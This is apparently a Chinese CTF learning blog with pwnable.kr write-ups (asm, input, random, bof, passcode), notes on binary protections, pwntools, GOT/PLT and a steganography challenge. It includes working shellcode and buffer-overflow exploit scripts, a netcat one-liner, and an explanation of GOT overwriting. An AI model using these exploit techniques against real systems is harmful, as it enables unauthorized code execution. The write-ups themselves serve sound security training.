Hexo

  • Home

  • About

  • Tags

  • Categories

  • Archives

  • Schedule

pwn入门(脚本检测与各类防护技术)

Posted on 2019-05-14 | Edited on 2019-07-13 | In pwn

脚本检测与各类防护技术

使用checksec,

RELRO:

在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域,尽量减少可写的存储区域可使安全系数提高。GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术Relocation Read Only, 重定向只读,实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。(参考RELRO技术细节)

Stack: 栈溢出检查,

用Canary金丝雀值是否变化来检测,Canary found表示开启。
金丝雀最早指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。这里是一种缓冲区溢出攻击缓解手段:启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux将cookie信息称为Canary。

NX: No Execute,栈不可执行,

也就是windows上的DEP。

分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。硬件DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD称之为No-Execute Page-Protection(NX),Intel称之为Execute Disable Bit(XD)
Linux称为 NX 与 DEP原理相同

PIE: 位置无关

position-independent executables, 位置无关的可执行文件,也就是常说的ASLR(Address space layout randomization) 地址随机化,程序每次启动基址都随机。

作者:SueLyon
链接:https://www.jianshu.com/p/6e528b33e37a
来源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

pwnable-asm

Posted on 2019-05-07 | Edited on 2019-05-13 | In pwn

解题

代码asm.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);

alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}

在这里学到可以用pwntools下的disasm函数打开:
stub: “\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff”


dec是 自减操作 相当于c语言中的i–
xor表示异或 0xor0=0 0xor1=1 1xor0=1 1xor1=0
xor ax,ax 是常见的寄存器清零操作。
上面这个即把所有寄存器清零,对写shellcode没影响。
再来回顾一下源代码,先用setvbuf设置了一下写入写出的缓冲区,然后为sh分配了0x1000的内存空间并初始化,而且将上边的shellcode拷贝到sh,然后read函数让我们向sh之后的空间内传入自己的shellcode。

好像直接写shell code就可以了,题目考察的就是shellcode
代码含义,启动沙盒模式,只可使用open,write,read三个函数,构造shellcodeopenflag文件,然后用read读出来,再write到stdout即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)

context(os='linux', arch='amd64')
shellcode = ""
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

p.recvuntil('shellcode: ')
p.send(asm(shellcode))
print p.recvline()

手写简易shellcode

http://blog.nsfocus.net/simple-realization-hand-handle-shellcode-detailed-explanation/


参考网址
https://www.cnblogs.com/p4nda/p/7169456.html
pwnable之asm

pwntools

Posted on 2019-05-01 | Edited on 2019-08-17 | In pwn

连接:本地process()、远程remote( , );对于remote函数可以接url并且指定端口
数据处理:主要是对整数进行打包:p32、p64是打包为二进制,u32、u64是解包为二进制
IO模块:这个比较容易跟zio搞混,记住zio是read、write,pwn是recv、send

send(data): 发送数据
sendline(data) : 发送一行数据,相当于在末尾加\n      
recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
recvuntil(delims, drop=False) : 接收到delims的pattern
(以下可以看作until的特例)
recvline(keepends=True) : 接收到\n,keepends指定保留\n
recvall() : 接收到EOF
recvrepeat(timeout=default) : 接收到EOF或timeout
interactive() : 与shell交互

ELF模块:获取基地址、获取函数地址(基于符号)、获取函数got地址、获取函数plt地址

e = ELF('/bin/cat')
print hex(e.address)  # 文件装载的基地址
0x400000
print hex(e.symbols['write']) # 函数地址
0x401680
print hex(e.got['write']) # GOT表的地址
0x60b070
print hex(e.plt['write']) # PLT的地址
0x401680

解题常用:

context.arch = 'amd64'   //设置架构
context.log_level = 'debug' //显示log详细信息
libc = ELF('./libc-2.24.so')  //加载库文件

作者:SueLyon
链接:https://www.jianshu.com/p/6e528b33e37a


CTF常用python库PwnTools的使用学习 这个博主不错

Python 编程核心知识体系
Exploit利器——Pwntools
PwnTools常见用法
pwntools使用简介

GOT表和PLT表

Posted on 2019-04-30 | Edited on 2019-05-14 | In pwn

GOT(Global Offset Table):全局偏移表用于记录在ELF文件中所用到的共享库中符号的绝对地址。在程序刚开始运行时GOT表项是空的,当符号第一次被调用时会动态解析符号的绝对地址然后转去执行,并将被解析符号的绝对地址记录在GOT中,第二次调用同一符号时,由于GOT中已经记录了其绝对地址,直接转去执行即可,不用重新解析。
PLT(Procedure Linkage Table):过程链接表的作用是将位置无关的符号转移到绝对地址。当一个外部符号被调用时,PLT去引用GOT中的其符号对应的绝对地址,然后转入并执行。
GOT位于.got.plt section中,PLT位于.plt section中。

如果一个elf可执行文件需要调用定义在共享库中的任何函数,那么它就有自己的GOT和PLT(procedure linkage table,过程链接表).这两个节之间的交互可以实现延迟绑定(lazy binging),这种方法将过程地址的绑定推迟到第一次调用该函数。
为了实现延迟绑定,GOT的头三条表目是特殊的:
GOT[0]包含.dynamic段的地址,.dynamic段包含了动态链接器用来绑定过程地址的信息,比如符号的位置和重定位信息;
GOT[1]包含动态链接器的标识;
GOT[2]包含动态链接器的延迟绑定代码的入口点。

GOT的其他表目为本模块要引用的一个全局变量或函数的地址。

其中PLT[0]是一个特殊的表目,它跳转到动态链接器中执行;每个定义在共享库中并被本模块调用的函数在PLT中都有一个表目.
从PLT[1]开始.模块对函数的调用会转到相应PLT表目中执行,这些表目由三条指令构成。第一条指令是跳转到相应的GOT存储的地址值中.第二条指令把函数相应的ID压入栈中,第三条指令跳转到PLT[O]中调用动态链接器解析函数地址,并把函数真正地址存入相应的GOT表目中。被调用函数GOT相应表目中存储的最初地址为相应PLT表目中第二条指令的地址值,函数第一次被调用后.GOT表目中的值就为函数的真正地址。因此,第一次调用函数时开销比较大.但是其后的每次调用都只会花费一条指令和一个间接的存储器引用。



GOT表和PLT表知识详解
ELF 文件中的 GOT 表和 PLT 表解读

通过GDB调试理解GOT/PLT

杂项-bugku-隐写2

Posted on 2019-04-27 | Edited on 2019-04-28

项目地址:
https://ctf.bugku.com/challenges#%E9%9A%90%E5%86%992
先是下载一个图片
Welcome_.jpg

之后利用winhex 打开之后,没发现隐藏的flag
再之后用binwalk看下这个图片里有没有隐藏什么。

binwalk需要python环境

binwalk参考资料
我们需要在binwalk的目录下打开命令行窗口(也就是cd到binwalk目录下),输入

python setup.py install


安装完成

之后去到python安转目录下的Script目录,里面有个名字叫做binwalk的文件
我一开始找不到,忘记python安装目录在哪了 只好用文件资源管理器里的搜索对着C盘搜(一般这种东西会在C盘)

找到之后将你要操作的文件放进去(Welcome_.jpg)

在此处打开命令行,输入命令

python binwalk Welcome_.jpg


发现有隐藏的东西,包括一个flag 压缩包

分离出来

python binwalk -e Welcome_.jpg

之后回到文件夹,发现

然后打开Welcome.jpg.extracted 文件夹

之后尝试解压,需要密码。
直接用暴力破解工具

之后成功打开压缩包,发现一个3.jpg
用winhex打开看看

OK差不多就得到flag了
f1@g{eTB1IEFyZSBhIGhAY2tlciE=}
这flag里的内容经过base64加密了,我们解密搞定

得到

f1@g{y0u Are a h@cker!}   

即为答案

网上说要将@改为a填答案,结果试了好久,不行。反而用@可以

pwnable-kr7-input

Posted on 2019-04-22 | Edited on 2019-04-26 | In pwn

#scp命令
这次利用 scp命令直接下载了文件。
scp命令学习
具体命令
要确保 我们本地的文件夹是可以操作的,不然会报权限问题 ls-l 可以查看目录下的文件和文件夹的权限 给权限可以用 chmod -R 777 路径/文件(夹)名
命令:scp -r -P 2222 【题目名字】@pwnable.kr:/home/【题目名字】/* /home/linhua/pwn

scp -r -P 2222 input2@pwnable.kr:/home/input2/* /home/linhua/pwn


我们用ssh连接试下

发现除了flag文件,另外两个都会下载出来。不过也是哈,如果flag都被拉出来了,还解啥题

知识点

fread

函数原型
size_t fread ( void buffer, size_t size, size_t count, FILE stream) ;
参 数
buffer
用于接收数据的内存地址
size
要读的每个数据项的字节数,单位是字节
count
要读count个数据项,每个数据项size个字节.
stream
输入流
返回值
返回真实读取的项数,若大于count则意味着产生了错误。另外,产生错误后,文件位置指示器是无法确定的。若其他stream或buffer为空指针,或在unicode模式中写入的字节数为奇数,此函数设置errno为EINVAL以及返回0.

##argv

argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
argv['C'] ="55555"; 

这里可以用’A’作为参数的索引,这是原来没有见过的,默认把字符转换成ASCII码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0; //字符串比较大小
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4); //这里我们可以输入4个字节给buf
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; //比较buf与0x000a00ff
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; //比较buf与0x000a02ff
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0; 如果fopen返回0则 return0
if( fread(buf, 4, 1, fp)!=1 ) return 0; //从输入流fread中读取1个4字节的值给buf
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; //比较
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; //我们的最终目的:让buf=0xdeadbeef
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

这题需要的知识点很多

总共是五个关卡,每完成一个才能下一个
题目是为了让解题者满足代码中所需要满足的条件,总共5个,分别包括:参数传递、标准输入输出、环境变量、文件读写以及网络通信方面。
1.argv
  参数第’A’和’B’位分别为”\x00”和”\x20\x0a\x0d”,也就是第65位和第66位(第0位为可执行文件的路径),但是’\x00’会截断。
  于是使用execve运行input文件,execve函数在unistd(unix standard)头文件中:

int execve(const char path, char const argv[], char *const envp[]);

以argv参数进行传递相应参数。

2.stdio
ssize_t read(int fildes, void *buf, size_t nbytes);

摘自 http://codewiki.wikidot.com/c:system-calls:read

Field Description
int fildes The file descriptor of where to read the input. You can either use a file descriptor obtained from the open system call, or you can use 0, 1, or 2, to refer to standard input, standard output, or standard error, respectively.
const void *buf A character array where the read content will be stored.
size_t nbytes The number of bytes to read before truncating the data. If the data to be read is smaller than nbytes, all data is saved in the buffer.
return value Returns the number of bytes that were read. If value is negative, then the system call returned an error.
  可以看到分别需要从stdin和stderr读取相关的数据,但是stderr没法写,于是需要用到c中的叫做管道(pipe)的东西可用于子进程与父进程之间的通讯使用;于是子进程向缓冲区写数据,而父进程先将定义的相应缓冲区分别替换stdin和stderr,之后则可以从缓冲区进行读取。

3.env
  getenv函数获取系统中环境变量,这个同样以execve进行处理,其中的envp参数进行传递。

4.file
  常规操作,自己创建一个文件,然后写”\x00\x00\x00\x00”进去然后再读即可。

5.network
  是以传递的第C个参数作为监听端口,以及socket通信获取传来的消息,采用本地通信。socket网络编程网上一搜就出来的,其实百度百科说的还挺清楚的…中间需要sleep几秒等待接收信息的服务开启,然后传递信息。


  最后在/tmp目录下面可以创建一个文件xxx,但是由于后面还得创建一个与/home/input2/flag的软链接(因为在/tmp目录下仍然没有权限cat flag),因为在运行input2文件时路径还是相对路径:

ln -s /home/input2/flag flag

之后创建一个c文件编译运行即可。

看大佬 题解:

题解

原文
这里首先先明确:就是我们很明显这个输入是个很复杂的东西,我们无法在命令行里直接输入参数,当然也可以通过写exp。

这里我用的是execve函数,其原型如下
int
execve(const char path, char const argv[], char *const envp[]);
所以我们通过execve函数来给源文件input传值
这里我们需要查看一下input文件的位置
-al查看全部文件

可以得知我们的path为”/home/input2/input”
然后接下来一个问题就是,我们将把我们这个写的文件放在服务器的哪里呢?这个服务器对我们的权限做了很大的限制。我在服务器上没有找到能够创建文件的地方,所以我想到的办法是通过scp将原文件都下载到本地,然后再本地上做~(注意,如果下载到本地的话,这个path就会有变化,这里我就暂且先不做更改)

所以我们这个文件暂且命名为input_replace.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
int main(int argc, char const *argv[])
{
char **new_agrv;
char **new_envp;

//argv

//stdio

//env

//file

//network

execve("/home/input2/input",new_argv,new_envp);
return 0;
}

然后我们就来逐个击破吧~

一步步来把

part1

1
2
3
4
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0; //这里可以用’A’作为参数的索引,这是原来没有见过的,默认把字符转换成ASCII码了。
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!");

我们推断程序必须在以下条件下执行:
1.正好100个参数
2.第65个参数(A的ascii值为65)必须是空字符串
3.第66个参数66(B的ascii值为66)必须是\ x20 \ x0a \ x0d

这里也就是让我们在命令行参数输入100个参数,由于我们的输入运行程序占一个,所以我们也就输入99个参数就可以了。(请注意,我们总共添加了99个参数,因为程序的名称计为一个。)但是这里我们要注意一下,因为我们是通过input_replace.c来调用input,所以我们的第一个参数是./input_replace,比直接运行input多了这么一个参数,所以实际上我们需要的是101个参数。

part1的代码就好了

1
2
3
4
5
6
7
8
char * new_argv[101];
for(int i = 0;i<100;i++)
{
new_argv[i] = "";
}
new_argv['A'] = "\x00";
new_argv['B'] = "\x20\x0a\x0d";
new_argv[100] = NULL;

原文:https://blog.csdn.net/qq_37414405/article/details/84991438

https://www.cnblogs.com/zUotTe0/p/10125533.html

12届全国大学生信息安全竞赛

Posted on 2019-04-20 | In pwn

先大致看了下main函数

gdb运行看看



发现在输完名字后,将会重复以下步骤:
1.让你指定一个下标,
2.它会提示这个标志代表的值
3.然后让你输入它新的值,它的值默认为0

之后回到1 如此循环

不知道他想让我干啥
卒

#

memset函数

void memset(void s,int c,size_t n)

总的作用:将已开辟内存空间 s 的首 n 个字节的值设为值 c。

pwnable-kr6-random

Posted on 2019-04-19 | Edited on 2019-04-20 | In pwn

知识点

rand()函数,

本题的关键!!!这个函数本身就是一个伪随机函数,每次运行这个程序,初始化后这个值都相同。
使用gdb调试
看下菜鸟教程中对rand()的解释

rand() 的内部实现是用线性同余法做的,它不是真的随机数,因其周期特别长,故在一定的范围里可看成是随机的。
rand()返回一随机数值的范围在 0 至 RAND_MAX间。RAND_MAX的范围最少是在 32767 之间(int)。用unsigned int 双字节是 65535,四字节是 4294967295的整数范围。0~RAND_MAX 每个数字被选中的机率是相同的。
用户未设定随机数种子时,系统默认的随机数种子为1。
rand()产生的是伪随机数字,每次执行时是相同的; 若要不同, 用函数srand()初始化它。

异或

异或函数也是可逆的,a^b = c ,a = c^b.
因此,需要输入的key就是0x6b8b4567^0xdeadbeef=0xb526fb88

题外

安装了ssh服务器
安装ssh-client命令:

sudo apt-get install openssh-client

安装ssh-server命令:

sudo apt-get install openssh-server

安装完成以后,先启动服务:

sudo /etc/init.d/ssh start

启动后,可以通过“ps -e|grep ssh”查看是否正确启动。

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

观察逻辑,发现需要用户输入一个key,这个key异或random要等于0xdeadbeef,而这个random的值来源于rand()函数,这就牵扯到rand()的知识了。(见上述知识点)
用gdb调试,看下random的值(大佬的截图)


得到flag
flag

https://www.jianshu.com/p/68118fb11ec5
https://www.cnblogs.com/p4nda/p/7122275.html

pwnable-kr3-bof

Posted on 2019-04-16 | Edited on 2019-08-19 | In pwn

title: pwnable.kr3-bof
date: 2019-04-07 19:29:23
tags:

categories: pwn

解题

源代码在bof.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

我们可以看出只要让func的参数key==0xcafebabe就ok了
我们还得到一个名为bof的文件,用ida打开,查看func函数

我们看到,这个传入的值确是已经被程序写死了,即给定了一个数(0xdeadbeef),所以我们要想办法把这个参数的值改成我们想要的。

跟着网上题解思路:

但是我们再往下看,会发现有一个函数gets,我想这个函数是很明显的一个漏洞函数了,因为它读入数据的时候,不检查缓冲区的界限,很容易造成缓冲区溢出漏洞,所以我们一般用fgets函数来代替它。再联系一下题目中的 Nana told me that buffer overflow is one of the most common software vulnerability.,没错了,问题就出在这里。
我们可以通过往gets函数中输入足够多的数据,使缓冲区溢出,用我们输入的0xcafebabe覆盖之前压进栈的参数,就get 到 flag 啦~

这里可以学到 gets函数

之后的问题就是我们需要知道往gets里面塞多少个数,才能刚好把我们想要的数覆盖在那个参数上面

gdb调试

大佬说了,用gdb调试,那我们就依葫芦画瓢

我们先输入start将程序运行起来
然后输入disassemble func来查看一下被调用函数func反汇编代码

看来start不起来,试着直接反汇编,成功

我们可以找到熟悉的数字0xcafebabe


给权限后

自己操作的时候有错,因此下面用网上的图和文字

A的ASCLL值为41,可以看出,我们要覆盖的地址与输入地址相差52个字节.
x /40xw $esp (x:以十六进制显示 w:以4字节为一个单位显示)
来查看从断点处起的40字节的内存值,由于esp是我们的程序流指针,其里面保存了程序在func栈中运行时的内存的变化


我们可以发现从第一个出现0x41的地方,到我们的0xdeadbeef距离是13个单位,一个单位是4字节,也就是我们的偏移量为52个字节。

于是,只要我们构造出52个字节然后加上0xcafebabe,用它来覆盖0xdeadbeef即可
由于题目中提醒我们最后 Running at : nc pwnable.kr 9000
所以我们来写我们的exp

1
2
3
4
from pwn import *
c = remote("pwnable.kr",9000)
c.sendline("AAAA"*13+p32(0xcafebabe))
c.interactive()


汇编解法

文1

这篇利用ida 看汇编代码解的

这是关于数组溢出的问题,导致这个问题的原因是由于 gets() 函数没有检查接受字符串长度导致的。有的编译器在编译源代码的时候也会提示警告。其实这个题目也是相当的简单,如果你了解栈机制的话。

我们要做的就是让输入的字符串的后面四个字节覆盖 key。其实我们要做的就是算出 overflow 数组的首地址到 key 首地址之间的距离。

gets(overflow) 是接受输入,当然是从 overflow 的首地址开始存储字节。前面的 esp (esp在汇编中为栈顶指针,栈中数据都是从栈顶进去的,所以你懂的…)存放的就是 overflow 的基址,为 ebp + s 其中 s = byte ptr - 2ch。然后 key 的基址当然要在cmp语句(条件判断语句) 里面找,因为 if (key == 0x….) 所以 ebp + arg_0, 就是 key 的基址,其中 arg_0 = dword ptr 8。然后很简单的算出两者的距离为 52。所以我们在输入 0xcafebabe 之前需要填充 52 个字符。
来源:https://blog.csdn.net/x1020915098/article/details/80917320

文2


首先来看

lea eax =ebx +s

s=2CH = 16*2+ 12=44

同时 cmp ebp +arg_0 然后比较 0CA啥啥的。

也就是说 需要覆盖的其实是44 + 8 因为arg_0 ==8

数组overflowme的起始地址在ebp+s(-2c),key参数的其实地址在ebp+arg0(+8),中间就差了44+8 = 52个字节

所以需要 52个字节 + 0xcafebabe

代码

1
2
3
4
5
# -*- coding:utf-8 -*-  
import pwn
r = pwn.remote('pwnable.kr',9000)
r.send('a'*52+pwn.p32(0xcafebabe))
r.interactive()

原文:https://blog.csdn.net/qq_35396598/article/details/85320322

栈的寄存器(EIP & EBP & ESP)

EIP & EBP & ESP

eax, ebx, ecx, edx, esi, edi, ebp, esp等都是X86 汇编语言中CPU上的通用寄存器的名称,是32位的寄存器。如果用C语言来解释,可以把这些寄存器当作变量看待。
EAX 是”累加器”(accumulator), 它是很多加法乘法指令的缺省寄存器。

EBX 是”基地址”(base)寄存器, 在内存寻址时存放基地址。

ECX 是计数器(counter), 是重复(REP)前缀指令和LOOP指令的内定计数器。

EDX 则总是被用来放整数除法产生的余数。

ESI/EDI分别叫做”源/目标索引寄存器”(source/destination index),因为在很多字符串操作指令中, DS:ESI指向源串,而ES:EDI指向目标串.

EBP是”基址指针”(BASE POINTER), 它最经常被用作高级语言函数调用的”框架指针”(frame pointer). 在破解的时候,经常可以看见一个标准的函数起始代码

ESP 专门用作堆栈指针,被形象地称为栈顶指针,堆栈的顶部是地址小的区域,压入堆栈的数据越多,ESP也就越来越小。在32位平台上,ESP每次减少4字节。

esp:寄存器存放当前线程的栈顶指针
ebp:寄存器存放当前线程的栈底指针
eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。

栈的原理

先写个小程序:
void fun(void)
{
printf(“hello world”);
}
void main(void)
{
fun()
printf(“函数调用结束”);
}
这是一个再简单不过的函数调用的例子了。
当程序进行函数调用的时候,我们经常说的是先将函数压栈,当函数调用结束后,再出栈。这一切的工作都是系统帮我们自动完成的。
但在完成的过程中,系统会用到下面三种寄存器:
1.EIP
2.ESP
3.EBP
当调用fun函数开始时,三者的作用。
1.EIP寄存器里存储的是CPU下次要执行的指令的地址。
也就是调用完fun函数后,让CPU知道应该执行main函数中的printf(”函数调用结束”)语句了。
2.EBP寄存器里存储的是是栈的栈底指针,通常叫栈基址,这个是一开始进行fun()函数调用之前,由ESP传递给EBP的。(在函数调用前你可以这么理解:ESP存储的是栈顶地址,也是栈底地址。)
3.ESP寄存器里存储的是在调用函数fun()之后,栈的栈顶。并且始终指向栈顶。
//esp要时刻指向栈顶(动态改变),那么栈底(基地址)(静态不变)由谁保存呢?因此在调用函数之前,先由esp将栈底给ebp保存起来**
当调用fun函数结束后,三者的作用:
1.系统根据EIP寄存器里存储的地址,CPU就能够知道函数调用完,下一步应该做什么,也就是应该执行main函数中的printf(“函数调用结束”)。
2.EBP寄存器存储的是栈底地址,而这个地址是由ESP在函数调用前传递给EBP的。等到调用结束,EBP会把其地址再次传回给ESP。所以ESP又一次指向了函数调用结束后,栈顶的地址。
其实我们对这个只需要知道三个指针是什么就可以,可能对我们以后学习栈溢出的问题以及看栈这方面的书籍有些帮助。当有人再给你说EIP,ESP,EBP的时候,你不能一头雾水,那你水平就显得洼了许多。其实不知道我们照样可以编程,因为我们是C级别的程序员,而不是ASM级别的程序员

摘自:https://blog.csdn.net/chenlycly/article/details/37912755


另一个文章给出的是这样的命令原文:
另外,编译时,启用了canary作溢出保护。不过这个保护机制是当函数返回的时候才会被触发,而system已经被执行了,因此无法即使阻止。

命令:(python -c ‘print(“a”52+ chr(0xbe) + chr(0xba) + chr(0xfe) +chr(0xca))’; cat) | nc pwnable.kr 9000
PS:不大明白cat的作用是什么,但是如果不用的话,就会被canary检测到溢出,从而程序被中止,无法获取shell
输入命令
(python -c “print ‘A’
52+’\xbe\xba\xfe\xca’”;cat) | nc pwnable.kr 9000

总结:

gets函数 是一个漏洞函数,要利用起来
使用gdb调试
可以使用ll 命令来查看当前文件夹下的文件的权限
是否有 执行权限-x


原文:https://blog.csdn.net/qq_37414405/article/details/84960283

pwnable-kr5-passcode

Posted on 2019-04-13 | Edited on 2019-04-17 | In pwn

要点

连续调用

连续调用,这就隐含了它们的ebp是相同的(栈底相同);

GOT表:

概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。

作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。

PLT表:

过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目

当main()函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。

动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.

GOT覆写技术:

原理:由于GOT表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。

以上姿势来源: http://jing0107.lofter.com/post/1cbc869f_8b3d8a5

解题

连接过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1); //注意这里没有取地址
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2); //同样没有取地址

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
